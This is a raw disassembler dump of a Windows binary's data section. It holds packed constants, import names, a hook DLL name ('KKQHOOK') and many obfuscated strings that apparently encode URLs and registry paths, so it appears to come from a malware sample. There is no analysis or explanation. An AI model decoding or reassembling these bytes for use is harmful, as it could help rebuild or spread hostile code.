		dd 68839E9Eh, 6A382D34h, 57DA3EA9h, 1CA3311Ah, 12B0F348h
		dd 1694205Dh, 85CF2048h, 60C2141Ch, 72177C87h, 7862EC18h
		dd 0CEB347A3h, 5B923E50h, 66B58889h, 71055E2Bh,	0E230122h
		dd 0FB67DE21h, 7F1745Fh, 2FA1E918h, 6F1463BBh, 53F95C7h
		dd 505C3D24h, 0D15BF7h,	764544h, 7630069h, 0DDC2895Ch
		dd 0B64876Dh, 7720073h,	9B75D7AEh, 30B611Bh, 3741D6Dh
		dd 5D631B72h, 8CDF203Ch, 17633B55h, 1F748DC1h, 9B216E65h
		dd 6DCF7D17h, 52ED4950h, 6F630007h, 0CC0DB642h,	5C0D6937h
		dd 9440B327h, 866CA911h, 0BDB43218h, 685CF0D0h,	50092EA8h
		dd 6809E25Eh, 0B281DA18h
		dd 0D4F72153h, 50125606h, 28261C4Bh, 0E25A865Ah, 0DA958308h
		dd 85B7F6ADh, 0AA58070Dh, 944D22C4h, 0FC685153h, 0D6EE6F3Bh
		dd 98209476h, 0DC89C88h, 6FEB006h, 3EE6E462h, 142F14B4h
		dd 0B6C0E0B8h, 8FF6DB2Dh, 0D002CC28h, 7E2057D4h, 3EE6880Ch
		dd 2F0C68E8h, 2F737940h, 1816C41Bh, 568B1E24h, 1DE6A38h
		dd 8B1BE215h, 59A146FAh, 0E0071AB8h, 16D16F0Dh,	920B8F7h
		dd 89345E92h, 8BF57002h, 8940F25Eh, 78464B86h, 0C1156354h
		dd 0B894FA22h, 47EECEFFh, 4586874h, 0FF0E6CA3h,	8648B8D6h
		dd 157CF3C8h, 0EA484C50h, 0C1D0F41Ch, 29CC6A53h, 6F4DECF3h
		dd 51833D73h, 2FF39659h, 0F0683440h, 0F07651F1h, 0F0980AC4h
		dd 0D0FA012h, 32D45314h, 4A06D97Ah, 30CC12D8h, 0E5333013h
		dd 0C3031D65h, 564430E0h, 0A0302A34h, 2B02B4C9h, 1F5064FDh
		dd 654B01C8h, 697053D3h, 0EA0C4C6Eh, 177451ADh,	0FB490121h
		dd 0FEDDAEFEh, 626D7953h, 4C631C6Fh, 394171Ah, 516C7452h
		dd 0B36A8975h, 49790DB6h, 55086107h, 3173ED92h,	0A895431Bh
		dd 642BB677h, 542B565Ch, 64506DADh, 29162D49h, 66FEAA6Bh
		dd 6F436695h, 656C706Dh, 0DB3E7164h, 0F3951B92h, 634200F7h
		dd 68A0C6C0h, 17FA5A4Ah
dword_444804	dd 0F24DF6B5h	dword_444808	dd 5D376E49h	dword_44480C	dd 257E3C45h			dd 5E85FAA1h, 735002D7h
		db 95h
dword_444819	dd 0B3B09F6Bh			db 27h,	0BDh, 22h
		dd 6E416F54h
		db 1Bh,	8Dh
dword_444826	dd 0E65176Bh			dw 0EA33h
		dd 0BFF2644Dh, 4E7EB6C7h, 4D6D4D02h, 506B4CECh,	0BAD76761h
		dd 7B9AA802h, 66624FE0h, 7E03661Eh, 4DB3585Eh, 52B517D4h
		dd 0A1794214h, 41AACEDAh, 0EE780145h, 0D9F6C355h, 70795417h
		dd 5369F913h, 186DFF95h, 736F1A05h, 6C6E726Bh, 2E78652Eh
		dd 0B536D6E1h, 384B664Bh, 4F827361h, 0EFC97336h, 71634113h
		dd 50726975h, 42ED7708h, 4973DEDBh, 48AD7172h, 69613E0Dh
		dd 70B6BB33h, 44D40D7Bh, 5D65A370h, 0B14C4117h,	95517C08h
		dd 0B5DBC174h, 0AD556764h, 22DC1176h, 0E2DAA95Bh, 158B5074h
		dd 70DDCC27h, 42BDFEA8h, 19D46675h, 0E42581C8h,	6029332Ch
		dd 5F4B0E49h, 8D0C4572h, 41006DEAh, 0C5BD6372h,	0D6DAF685h
		dd 226EBAA3h, 0AB36EF33h, 69B7BC2Ah, 11F00AEh, 3DE4A033h
		dd 0E55ACF6Ch, 42744136h, 0B726256Fh
dword_444914	dd 99802D92h	dword_444918	dd 662B2B95h			dd 65488DDDh, 3C797056h, 6422156Dh, 1D141587h, 491AF975h
		dd 2E0D891Fh, 0A1535953h, 0D5F14AC8h, 0B6188901h, 90072D17h
		dd 193001E6h, 0C95B4804h, 0C04F14B2h, 0D7431304h, 56B453C0h
		dd 45055F9Dh, 0D034CDEDh, 4FAB5340h, 8B055FB3h,	46B9FE78h
		dd 4BD4F0Bh, 6D03FEEFh,	452B26C3h, 473F075Dh, 7210B4EFh
		dd 31631901h, 6C341D73h, 697B744Fh, 74D6735h, 61AE839Bh
		dd 0D490D6Ch, 40232B66h, 3BAEB1BCh, 390334B9h, 64C76207h
		dd 751D75D0h, 2343171Eh, 14B0736Dh, 2073C80Dh, 0C1886181h
		dd 6B617418h, 339B20AFh, 0D13DF74Dh, 6F116307h,	3D927920h
		dd 0CF76E0C4h, 0C1531407h, 3DF6DC0Ch, 0F34F7953h, 9DD6375Dh
		dd 4B3354CFh, 6C056E2Dh, 0E066520Dh, 31C307BAh,	8DCF1375h
		dd 119EE61Dh, 44CB4715h, 44946315h, 70698DD7h, 6E2D6979h
		dd 0F7595B1Fh, 516849B6h, 53996521h, 0B9018905h, 560B0036h
		dd 1C2B5881h, 0EF324B97h, 0F3070585h, 3135C8D8h, 7002E37h
		dd 6665C44Fh, 61B774B0h, 0EBAF6ED5h, 71E790B6h,	1B4C2F29h
		dd 1B842967h, 930D0EEBh, 0A3678D79h, 0ECAE1021h, 1B2013D9h
		dd 0BA1AEB06h, 0BF3215A9h, 92D0530h, 0CEC26233h, 770C9B8Ah
		dd 2F0D3054h, 51646DC6h, 742672C7h, 576FB38Fh, 0B6B7D29h
		dd 0CC348D83h, 4F3E1FD5h, 6C096993h, 2FE76612h,	0A461EF6Eh
		dd 72EBAC1h, 0D205779h,	0E7C77550h, 576106C6h, 643FB942h
		dd 0BEE8C46Fh, 6F1F5C48h, 0EF43750Fh, 45258CA2h, 8BB3A77h
		dd 5B642123h, 0E7DEDFE1h, 53B746CEh, 0F5695F75h, 0C26C61D2h
		dd 561F44B7h, 87095D43h, 240056E8h, 0C27A6D84h,	7315B6E8h
		dd 9A3611Fh, 337FB004h,	315CD90h, 0C43380A8h, 0DF34D034h
		dd 0FFFFD55Bh, 0F34EE34h, 2A351B35h, 0A6353935h, 0D735D135h
		dd 32A7E035h, 0FF556FFAh, 8A366B36h, 0A4369B36h, 8A371099h
		dd 46381C37h, 0FFFFFF38h, 385F3A17h, 38E238C3h,	392838FEh
		dd 39453938h, 3965394Bh, 39D339B6h, 39F939E6h, 0FFFFFFFFh
		dd 3A403A39h, 3A4E3A47h, 3A5C3A55h, 3A6A3A63h, 3A783A71h
		dd 3A9F3A90h, 3AB13AA8h, 3B083AF4h, 0FFFFFFFFh,	3B153B10h
		dd 3B7E3B76h, 3C723C0Ch, 3C9F3C8Ch, 3D313D09h, 3DB93DB0h
		dd 3E803E3Ah, 3E9E3E97h, 0FFFFAF8Bh, 3F043EBEh,	3F4C3F35h
		dd 3F6E3F62h, 3FF03F7Dh, 7B1084F9h, 66FFFFF2h, 53020C0h
		dd 2A311131h, 6C313931h, 89317831h, 0C319831h, 0FFC00232h
		dd 2B3323FFh, 0C2334433h, 0B33E333h, 18341334h,	0FF8F2934h
		dd 58FFFFDDh, 0F334C134h, 2134FB34h, 2E352935h,	89358135h
		dd 0F335E5CBh, 1635FD35h, 7F462336h, 3036FFF7h,	41363936h
		dd 7C365836h, 0BADB8236h, 4E36DD36h, 0FF0E5338h, 38FFFFFFh
		dd 3890387Dh, 393E38B1h, 3A1739B1h, 3A5E3A22h, 3AC63A68h
		dd 3B1D3AE8h, 3B7C3B28h, 0BFB73B85h, 3BFEFFFBh,	3C683C07h
		dd 3C763C70h, 0B9883C80h, 3D503CE7h, 2E343D5Dh,	0FFFE453Eh
		dd 4A3EFFFFh, 573E503Eh, 783E6E3Eh, 0DE3ECD3Eh,	6C3F613Eh
		dd 933F853Fh, 0CA3FBF3Fh, 0E93FDB3Fh, 0EFFFFF3Fh, 0BFF4E81Eh
		dd 3089304Ch, 30DE30D9h, 30FD30F6h, 3141313Ah, 3164315Bh
		dd 0FFF42F10h, 319F3194h, 31AD31A8h, 31F831F2h,	1632353Fh
		dd 1ADFFE1Bh, 34AAC39Eh, 34CB34BAh, 350834D7h, 356E8D20h
		dd 0FE003780h, 35A03586h, 277835A5h, 763748h, 0F0DEDF0h
		dd 0A72C380Eh, 68385038h, 0BFFFB7FFh, 1438CB51h, 20391939h
		dd 2C392639h, 393439h, 39763961h, 398D3985h, 1B399Fh, 39A7EE0Bh
		dd 0D099CBACh, 0FE00ED17h, 0F539FD5Bh, 0FF39FA39h, 3A103A4Bh
		dd 3A1E3A18h, 0FFFFFF74h, 3AB31937h, 3B733B42h,	3BA83B81h
		dd 3BB43BAEh, 3BC03BBAh, 3BCC3BC6h, 3BD83BD2h, 0FFFD2FFFh
		dd 3BE43BDEh, 3BF03BEAh, 3DEE3DA2h, 0FA03DF3h, 213E143Eh
		dd 353E303Eh, 0C006423Eh, 513EFFFFh, 603E563Eh,	813E723Eh
		dd 903E893Eh, 473F3D3Eh, 1BFC02Bh, 913F83F0h, 0BC3FA629h
		dd 0D53FC43Fh, 6DB19FFh, 30F3F32Dh, 1A3015DFh, 24301F30h
		dd 0EDB7F824h, 302930h,	3F30F535h, 6A306530h, 0C7E61F30h
		dd 424E009Eh, 19974931h, 0FA064060h, 458D01A2h,	73F84473h
		dd 2EC49FEh, 0FB6B7068h, 302E3220h, 268B4B5Ch, 5C17809Eh
		dd 0F4F05C77h, 55050120h, 0B1626470h, 0A70495C4h, 0FE77AA4Eh
		dd 5A6AD43Bh, 536B4209h, 74726174h, 6F9C0530h, 756F7247h
		dd 780AD670h, 1FAC0A41h, 740582C1h, 7618D734h, 76435016h
		dd 6E73D55Ch, 0D01205Bh, 709FD700h, 7EDE01EDh, 0BA1D6F97h
		dd 8F61D00h, 155C903Eh,	323C575Dh, 6604640h, 4523FB59h
		dd 80082A1Fh, 0FF85F633h, 7F18177Eh, 5C661519h,	3B461E28h
		dd 0A4237CF7h, 80E9F30Ah, 0FEE03B24h, 1CF24362h, 18004010h
		dd 54680C13h, 0C9BE6176h, 111473C6h, 48100E6Ah,	0E054813Eh
		dd 401028h, 0EE74C2A9h,	4C1B1448h, 0A306E7E0h, 54C65660h
		dd 36A3090Fh, 49105AF7h, 40042005h, 64059C4Fh, 593167FBh
		dd 64BD2034h, 0F6C94C9Ch, 9C9CBE57h, 0CF25C6A4h, 68C0A481h
		dd 799FF7D0h, 681600D8h, 6ABB683Ah, 2394BE0Ah, 7FDDF348h
		dd 0AC7D8D59h, 0BEA4A5F3h, 7D8D0B84h, 7CA5A5D8h, 0C11BB19Eh
		dd 74BEF5F0h, 0B76CE80Ah, 0F84776EBh, 6468E4A5h, 0ACE6A40Bh
		dd 205D99BEh, 2480553Eh, 6A7BC169h, 7457B001h, 6A0F14ECh
		dd 350F3519h, 0F89B09E2h, 4CC4831Fh, 0CD9261C9h, 0DF08E19Ch
		dd 37F56AF8h, 44A66CD4h, 0D4A94005h, 73850F80h,	0BE9DF761h
		dd 6604EFBCh, 0FF0096F2h, 420EF7BAh, 358B0C64h,	0F4FE14ECh
		dd 46306767h, 19031AD6h, 0BF784783h, 5204C2EEh,	842A3C30h
		dd 10E1105h, 0D98B6159h, 68591E67h, 2A2039ECh, 0C8680134h
		dd 10FF00F3h, 1A7CAD72h, 385A13DEh, 640AEA60h, 349F74C3h
		dd 0D40476E0h, 112E30AFh, 7B2CEFEFh, 0D68D8D04h, 98D0FF68h
		dd 0BF0A5628h, 204D1DEFh, 5FBB6C51h, 8B5900B5h,	3635C096h
		dd 76A7962Ah, 50DD1448h, 4B65709h, 8DEA2D1Eh, 0FF33027Dh
		dd 20F9080Eh, 0B023B454h, 1D24575Dh, 735957B0h,	0CC510205h
		dd 60160000h, 1B70A028h, 19C4110h, 18013C61h, 5C21C406h
		dd 31004401h, 0BA4280C0h, 9384BA0Ah, 0F9773Eh, 20303104h
		dd 8824A692h, 1555790h,	20318804h, 0E292010Bh, 10E2090h
		dd 65601D4h, 4C04B2C4h,	0E6062090h, 0F1256D3Eh,	88441212h
		dd 0D8304116h, 7DE3D25Ch, 460AB27Bh, 0B6674456h, 85105580h
		dd 43EC8A36h, 315C69C4h, 20067301h, 0C54165Fh, 20F20001h
		dd 0F79E12Fh, 0D5656E01h, 22A0B078h, 0CE280C1h,	8DF50581h
		dd 840C021Fh, 744EE054h, 57AC837Ah, 68170419h, 50599604h
		dd 906CB05Fh, 510C02EBh, 0FD48206Ch, 7B2Ch, 71BFBC00h
		dd 12000000h, 0FF0000h,	6000BE60h, 0BE8D0040h, 0FFFFB000h
		dd 0FFCD8357h, 909010EBh, 90909090h, 8846068Ah,	0DB014707h
		dd 1E8B0775h, 11FCEE83h, 0B8ED72DBh, 1,	775DB01h, 0EE831E8Bh
		dd 11DB11FCh, 73DB01C0h, 8B0975EFh, 0FCEE831Eh,	0E473DB11h
		dd 0E883C931h, 0C10D7203h, 68A08E0h, 0FFF08346h, 0C5897474h
		dd 775DB01h, 0EE831E8Bh, 11DB11FCh, 75DB01C9h, 831E8B07h
		dd 0DB11FCEEh, 2075C911h, 75DB0141h, 831E8B07h,	0DB11FCEEh
		dd 0DB01C911h, 975EF73h, 0EE831E8Bh, 73DB11FCh,	2C183E4h
		dd 0F300FD81h, 0D183FFFFh, 2F148D01h, 76FCFD83h, 42028A0Fh
		dd 49470788h, 63E9F775h, 90FFFFFFh, 0C283028Bh,	83078904h
		dd 0E98304C7h, 1F17704h, 0FF4CE9CFh, 895EFFFFh,	11AB9F7h
		dd 78A0000h, 3CE82C47h,	80F77701h, 0F275043Fh, 5F8A078Bh
		dd 0E8C16604h, 10C0C108h, 0F829C486h, 1E8EB80h,	830789F0h
		dd 0D88905C7h, 0BE8DD9E2h, 7000h, 0C009078Bh, 5F8B3C74h
		dd 30848D04h, 9000h, 8350F301h,	96FF08C7h, 9050h, 47078A95h
		dd 0DC74C008h, 4857F989h, 0FF55AEF2h, 905496h, 74C00900h
		dd 83038907h, 0E1EB04C3h, 905896FFh, 0E9610000h, 0FFFFDF61h
		dd 26h dup(0)
		dd 0A070h, 0A050h, 3 dup(0)
		dd 0A07Dh, 0A060h, 3 dup(0)
		dd 0A08Ah, 0A068h, 5 dup(0)
		dd 0A094h, 0A0A2h, 0A0B2h, 0
		dd 0A0C0h, 0
		dd 0A0CEh, 0
aKernel32_dll_1	db 'KERNEL32.DLL',0
aAdvapi32_dll_0	db 'ADVAPI32.dll',0
aMsvcrt_dll	db 'MSVCRT.dll',0
		align 2
aLoadlibrarya	db 'LoadLibraryA',0
		align 10h
aGetprocaddress	db 'GetProcAddress',0
		align 10h
aExitprocess	db 'ExitProcess',0
		dd 65520000h, 6F6C4367h, 654B6573h, 79h, 646E6172h, 4Ch	dup(0)
		dd 6, 12h
dword_445458	dd 4Ch							; sub_408403:loc_408432r ...
aFj_		db 'fj:.',0             ; DATA XREF: sub_40849F+12o
aSHqZt		db 's+HQ-ZT',0          ; DATA XREF: sub_40849F+25o
byte_445469	db 0			; DATA XREF: sub_40849F+55o
word_44546A	dw 59h			; DATA XREF: sub_40849F+E7r
dword_44546C	dd 4F5A53h	aCBoot_sys	db 'c:\boot.sys',0      ; DATA XREF: sub_4085C0+38o
aCjA		db '%CJ a/',0           ; DATA XREF: sub_4085C0+4Bo
aZ		db '  < z',0            ; DATA XREF: sub_4085C0+AAo
		align 4
dword_44548C	dd 11h,	0Fh dup(0)dword_4454CC	dd 0E1F7EEA5h, 0BFFD7E2Ch, 869AE87Fh, 0CC244082h, 0D76ADDE2h
					; DATA XREF: sub_408886+13o
		dd 1B77E1E1h, 505215B0h, 0D24B6456h, 3D357C6Bh,	280E85D5h
		dd 1AB051F9h, 1E4E8744h, 0E383CCDFh, 323D4737h,	14F80518h
		dd 6E0637BFh, 7, 0Fh
dword_445514	dd 0							; .text:loc_40873Cr ...
dword_445518	dd 0		dword_44551C	dd 2				dd 0Ah
dword_445524	dd 0							; .text:loc_40881Cr ...
aV2		db 'V& 2',0             ; DATA XREF: sub_408886+2Bo
aS91rndu	db 's91RNDU',0          ; DATA XREF: sub_4088C3+19o
aKsh4		db ' KSh/4',0           ; DATA XREF: sub_4088C3+41o
		dw 7
		unicode	0, <>,0
		dd 11h
dword_445544	dd 0							; .text:loc_408A01r ...
aVyfuC_0	db '+vyfu C',0          ; DATA XREF: sub_408A61+16o
dword_445550	dd 0FFFFFFFFh			dd 2Ah dup(0FFFFFFFFh),	3Eh, 3 dup(0FFFFFFFFh),	3Fh, 34h
		dd 35h,	36h, 37h, 38h, 39h, 3Ah, 3Bh, 3Ch, 3Dh,	7 dup(0FFFFFFFFh)
		dd 0
		dd 1, 2, 3, 4, 5, 6, 7,	8, 9, 0Ah, 0Bh,	0Ch, 0Dh, 0Eh
		dd 0Fh,	10h, 11h, 12h, 13h, 14h, 15h, 16h, 17h,	18h, 19h
		dd 6 dup(0FFFFFFFFh), 1Ah, 1Bh,	1Ch, 1Dh, 1Eh, 1Fh, 20h
		dd 21h,	22h, 23h, 24h, 25h, 26h, 27h, 28h, 29h,	2Ah, 2Bh
		dd 2Ch,	2Dh, 2Eh, 2Fh, 30h, 31h, 32h, 33h, 85h dup(0FFFFFFFFh)
a7cx_0		db '#7CX|',0            ; DATA XREF: sub_408A61+EEo
		align 4
off_445958	dd offset loc_408B05	; DATA XREF: sub_408A61+95r
		dd offset loc_408B0D
		dd offset loc_408B33
		dd offset loc_408B70
aNF8		db '=n`F8',0            ; DATA XREF: sub_408BEF+4Ao
a5papg		db '*5pApG&',0          ; DATA XREF: sub_408C98+351o
byte_445976	db 0			; DATA XREF: sub_408C98+558o
byte_445977	db 0			; DATA XREF: sub_408C98+66Co
a6K		db '6#,K',0             ; DATA XREF: sub_408C98+88Co
word_44597D	dw 20h			; DATA XREF: sub_408C98+950r
aRjhghl6	db 'RJHGHl6',0          ; DATA XREF: sub_408C98+975o
dword_445987	dd 243531h	byte_44598B	db 36h			; DATA XREF: sub_408C98+A2Ao
		db 2Fh,	0
dword_44598E	dd 3F5F20h	aXei?		db ' xeI?<',0           ; DATA XREF: sub_4096E4+26o
aZmbL		db 'zMB%L ',0           ; DATA XREF: sub_4096E4+39o
aCdeDa		db '<Cde;Da',0          ; DATA XREF: sub_4096E4+4Co
dword_4459A8	dd 417F2053h, 695A5Fhword_4459B0	dw 80h			; DATA XREF: sub_4096E4+E1r
aJsz		db ' jSZ',0             ; DATA XREF: sub_4096E4+1E5o
aEq		db '`<|',27h,'&eq',0    ; DATA XREF: sub_4096E4+356o
dword_4459BF	dd 6F816Ch	dword_4459C3	dd 6E8254h	aQutqT		db '%Qutq t',0          ; DATA XREF: sub_4096E4+4B1o
dword_4459CF	dd 3C3370h	dword_4459D3	dd 69207Fh	dword_4459D7	dd 354547h	aBPA		db '&B /p%€',0          ; DATA XREF: sub_4096E4+6E7o
aEijF		db 'eiJ=+f',0           ; DATA XREF: sub_4096E4+8C2o
a2qZg8		db '2q %ZG8',0          ; DATA XREF: sub_4096E4+A82o
aMZ4		db '%,m z4',0           ; DATA XREF: sub_4096E4+B0Eo
word_4459F9	dw 52h			; DATA XREF: sub_4096E4+B1Br
word_4459FB	dw 34h			; DATA XREF: sub_4096E4+B40r
aJzft		db ' jzFt',0            ; DATA XREF: sub_4096E4+B7Do
aEGry		db 'E=GrY',0            ; DATA XREF: sub_4096E4+BEAo
word_445A09	dw 20h			; DATA XREF: sub_4096E4+D60r
dword_445A0B	dd 765868h	aCQtV		db 'C-qT~V',0           ; DATA XREF: sub_40A4E2+21o
aD9u5		db 'd  9u5',0           ; DATA XREF: sub_40A4E2+45o
aSgl		db '+SƒL',0             ; DATA XREF: sub_40A4E2+EEo
dword_445A22	dd 487452h	aVSl		db '!‚*SL',0            ; DATA XREF: sub_40A4E2+1F4o
word_445A2C	dw 2Fh			; DATA XREF: sub_40A4E2+202r
aRL		db '&R:L',0             ; DATA XREF: sub_40A4E2+273o
a82q0vu		db '82Q0vu ',0          ; DATA XREF: sub_40A4E2+2F8o
byte_445A3B	db 0			; DATA XREF: sub_40A4E2+3D4o
aDsh_i		db 'DSH.i',0            ; DATA XREF: sub_40A4E2+3F4o
aX_		db 'X.',0               ; DATA XREF: sub_40A4E2+467o
aGp		db '%gp&',0             ; DATA XREF: sub_40A4E2+4F6o
byte_445A4A	db 0			; DATA XREF: sub_40A4E2+539o
aF		db ' F',0               ; DATA XREF: sub_40A4E2+592o
aO?gv		db 'O?g‚',0             ; DATA XREF: sub_40A4E2+6A1o
word_445A53	dw 78h			; DATA XREF: sub_40A4E2:loc_40AC92r
aLwld		db 'lwld%',0            ; DATA XREF: sub_40ACD5+3Eo
byte_445A5B	db 0			; DATA XREF: sub_40ACD5+A8o
word_445A5C	dw 20h			; DATA XREF: sub_40ADF7+Cr
aE_2		db '~ E- ',0            ; DATA XREF: sub_40ADF7+C0o
aZmm		db 'ZmM&',0             ; DATA XREF: sub_40ADF7+18Do
word_445A69	dw 76h			; DATA XREF: sub_40ADF7:loc_40B0DCr
dword_445A6B	dd 202B67h	dword_445A6F	dd 704120h	aFna@		db 'FnA@ :',0           ; DATA XREF: sub_40ADF7+6CBo
a2z		db '<2Z !',0            ; DATA XREF: sub_40ADF7+767o
aCFw		db 'C-FW',0             ; DATA XREF: sub_40ADF7+85Ao
		align 4
byte_445A88	db 0F0h, 0		; DATA XREF: sub_40ADF7+81Bo
word_445A8A	dw 0FAFDh		; DATA XREF: sub_40ADF7+723o
		db 0
aEustXDqSedsq_1	db '¥ž‘’œ•ЄŸÐ‘…„˜Ÿ‚™Š•',0 ; DATA XREF: sub_40ADF7+616o
aEustXDqSedsq_0	db '¥ž‘’œ•ЄŸÐ‘…„˜Ÿ‚™Š•ÐÝй¾³¿¢¢µ³¤Ð ¹¾ÞРœ•‘ƒ•ÜГŸ‚‚•“„Þ',0
					; DATA XREF: sub_40ADF7+604o
aGG_2		db 'ÕƒÝÕƒ',0            ; DATA XREF: sub_40ADF7+456o
aAXsgxGxXudIa_0	db ' œ•‘ƒ•ÜЃ•œ•“„еˆ€™‚‘„™ŸžÐ©•‘‚',0 ; DATA XREF: sub_40ADF7+417o
aGG_1		db 'ÕƒÐÕƒ',0            ; DATA XREF: sub_40ADF7+39Bo
					; sub_40ADF7+65Do
aAXsgxGxXudIasv	db ' œ•‘ƒ•ÜЃ•œ•“„еˆ€™‚‘„™ŸžÐ½Ÿž„˜',0 ; DATA XREF: sub_40ADF7+353o
aG		db 'Õƒ',0               ; DATA XREF: sub_40ADF7+2F4o
aGMGmUavqugxvjx	db '³¼£¹´¬Õƒ¬¹ž ‚Ÿ“£•‚†•‚ÃÂ',0 ; DATA XREF: sub_40A4E2+6CEo
aJ		db '¦',0                ; DATA XREF: sub_40A4E2+6B0o
asc_445B3F	db '»',0                ; DATA XREF: sub_40A4E2+684o
aGqcdzsvxmSuv_0	db '£Ÿ–„‡‘‚•¬½™“‚ŸƒŸ–„¬§™ž”Ÿ‡ƒ¬³…‚‚•ž„¦•‚ƒ™Ÿž¬£˜•œœ£•‚†™“•¿’š•“„´•œ‘‰'
					; DATA XREF: sub_40A4E2+651o
		db '¼Ÿ‘”',0
aVxcsgdxvgxvjsu	db '¢•—™ƒ„•‚£•‚†™“• ‚Ÿ“•ƒƒ',0 ; DATA XREF: sub_40A4E2+55Ao
aIxvuxF		db '›•‚ž•œÃÂÞ”œœ',0     ; DATA XREF: sub_40A4E2+546o
aMtqqdGig	db '¬’ŸŸ„Þƒ‰ƒ',0        ; DATA XREF: sub_40A4E2+404o
aDatkkq32_dll	db 'datkkq32.dll',0     ; DATA XREF: sub_40A4E2+3B9o
aDnkkq_dll	db 'dnkkq.dll',0        ; DATA XREF: sub_40A4E2+398o
aKkq32_dll	db 'kkq32.dll',0        ; DATA XREF: sub_40A4E2+372o
aGmG		db 'Õƒ¬Õƒ',0            ; DATA XREF: sub_40A4E2+368o
					; sub_40A4E2+38Eo ...
aGmGXix		db 'Õƒ¬ÕƒÞ•ˆ•',0        ; DATA XREF: sub_40A4E2+2AFo
aXustXfgc	db '•ž‘’œ•”ƒ–',0        ; DATA XREF: sub_40A4E2+C1o
aMfvsjxvgmufsgv	db '¬”‚™†•‚ƒ¬ž”™ƒ‚”Þƒ‰ƒ',0 ; DATA XREF: sub_40A4E2+54o
dbl_445C04	dq 1.2			; DATA XREF: sub_4096E4:loc_40A383r
aUxzjxv		db 'ž•‡†•‚',0           ; DATA XREF: sub_4096E4+C12o
aIf		db 'ˆ”Â',0              ; DATA XREF: sub_4096E4+BA0o
aZeaf		db '‡…€”Ð',0            ; DATA XREF: sub_4096E4+AD5o
aGG_0		db 'ÕƒÐß³ÐÕƒ',0         ; DATA XREF: sub_4096E4+A8Co
aMuqaasufUqa	db '¬“Ÿ‘ž”Þ“Ÿ',0     ; DATA XREF: sub_4096E4+A35o
aGmuqaasufAsc	db 'Õƒ¬“Ÿ‘ž”Þ€™–',0   ; DATA XREF: sub_4096E4+A10o
aMuafXix	db '¬“”Þ•ˆ•',0         ; DATA XREF: sub_4096E4+9DCo
aGmuafAsc	db 'Õƒ¬“”Þ€™–',0       ; DATA XREF: sub_4096E4+9BCo
aE_1		db 'ÊÕÀÂ…',0            ; DATA XREF: sub_4096E4+934o
aFaa		db 'Ï”€ÍÂ',0           ; DATA XREF: sub_4096E4+807o
aGmGDaa		db 'Õƒ¬ÕƒÞ„€',0        ; DATA XREF: sub_4096E4+6BEo
aZagd		db '‡€ƒ„Ð',0            ; DATA XREF: sub_4096E4+469o
aB		db '',0                ; DATA XREF: sub_4096E4+245o
					; sub_4096E4+518o ...
aScuE		db 'Ï™–“ÍÕ…',0          ; DATA XREF: sub_4096E4+1F4o
aScu		db '™–“',0              ; DATA XREF: sub_4096E4+1A9o
					; sub_4096E4+2D2o
aGqcdzsvxmSuvqg	db '£Ÿ–„‡‘‚•¬½™“‚ŸƒŸ–„¬§™ž”Ÿ‡ƒ',0 ; DATA XREF: sub_4096E4+197o
					; sub_4096E4+2C0o
aZuxgAsa	db '߇“•ƒÞ€˜€',0        ; DATA XREF: sub_4096E4+165o
asc_445CA6	db 'ß',0                ; DATA XREF: sub_4096E4+130o
aSddaG		db '˜„„€ÊßßÕƒ',0        ; DATA XREF: sub_4096E4+F0o
aGmGFsd		db 'Õƒ¬ÕƒÞ”‘„',0        ; DATA XREF: sub_4096E4+A4o
					; sub_4096E4+B4Fo
aSuiUuxDqQudsue	db '³œ™“›Ð¿ž“•ФŸÐ³Ÿž„™ž…•',0 ; DATA XREF: sub_408C98+7C6o
aEdd		db '²¥¤¤¿¾',0           ; DATA XREF: sub_408C98+7B4o
aD		db 'µ´¹¤',0             ; DATA XREF: sub_408C98+6BFo
					; sub_408C98+739o
aAXsgxAsixUqvvx	db ' œ•‘ƒ•Б›•ГŸ‚‚•“„™ŸžƒÐ‘ž”Є‚‰Ð‘—‘™žÞ',0 ; DATA XREF: sub_408C98+5FCo
aEustXDqSedsqvs	db '¥ž‘’œ•ЄŸÐ‘…„˜Ÿ‚™Š•Þб¤½Ð ¹¾Ý³Ÿ”•ЙƒÐ‚•…™‚•”ЄŸÐ“Ÿ€œ•„•Є˜•Є‚‘'
					; DATA XREF: sub_408C98+577o
		db 'žƒ‘“„™ŸžÞ',0
aDAQfx		db '±¤½Ð ¹¾Ý³Ÿ”•',0     ; DATA XREF: sub_408C98+4EDo
aIasvsdsquFsdx	db 'µˆ€™‚‘„™ŸžÐ”‘„•',0  ; DATA XREF: sub_408C98+477o
aIqevUsvfUeatxv	db '©Ÿ…‚Г‘‚”О…’•‚',0 ; DATA XREF: sub_408C98+405o
aE_0		db 'ÂÀÕÞÂ…',0           ; DATA XREF: sub_408C98+3A0o
aE		db 'ÕÞÂ…',0             ; DATA XREF: sub_408C98+35Bo
aI_1		db '³¿½²¿²¿¨',0         ; DATA XREF: sub_408C98+262o
					; sub_408C98+2CEo
dword_445D94	dd 0D0D0D0FAh, 988485B1h, 8A99829Fh, 9F998491h,	91B6D09Eh
					; DATA XREF: sub_408C98+120o
		dd 94959C99h
		db 0DEh, 0
aGdD		db '£¤±¤¹³',0           ; DATA XREF: sub_408C98+10Eo
					; sub_408C98+17Bo ...
aKkqhook	db 'KKQHOOK',0          ; DATA XREF: sub_408C98+F3o
					; sub_4096E4+25Bo ...
		align 2
aIaQvxv		db 'µˆ€œŸ‚•‚',0         ; DATA XREF: sub_408C98+3Co
					; sub_40ADF7+9Bo
aQuTXud		db '´Ÿ“¿’š•“„',0        ; DATA XREF: sub_408C98+20o
					; sub_40ADF7+7Do
byte_445DD1	db 1Bh,	24h, 2Ah	; DATA XREF: sub_4085C0+104o
		dd 3F226923h, 4686722h,	26333467h, 24673335h, 28251B7Dh
		dd 34693328h
		db 3Eh,	34h, 0
aB4I7_		db 'b4',1Bh,'$*#i7.!',0 ; DATA XREF: sub_4085C0+D0o
a5Tui		db 1Bh,',"5)"+tui#++',0 ; DATA XREF: sub_40849F+86o
a?8		db '?8',0               ; DATA XREF: sub_4081B0+20Eo
byte_445E0B	db 42h			; DATA XREF: sub_406E3F+F3Bo
		dd 0B03030Bh, 0D420900h, 1E0D1B08h
		db 9, 0
word_445E1A	dw 0B42h		; DATA XREF: sub_406E3F+F0Eo
		dd 0B0303h
		db 9, 42h, 0
byte_445E23	db 4Ch			; DATA XREF: sub_406E3F+E81o
		db 0
byte_445E25	db 56h,	0		; DATA XREF: sub_406E3F+DF6o
aLi4v		db 'LI4V',0             ; DATA XREF: sub_406E3F+D91o
byte_445E2C	db 10h,	0		; DATA XREF: sub_406E3F+6EEo
aP3i4a3i4rl	db 'P*>-!)3I4A*#>!3I4RL',0 ; DATA XREF: sub_406E3F+641o
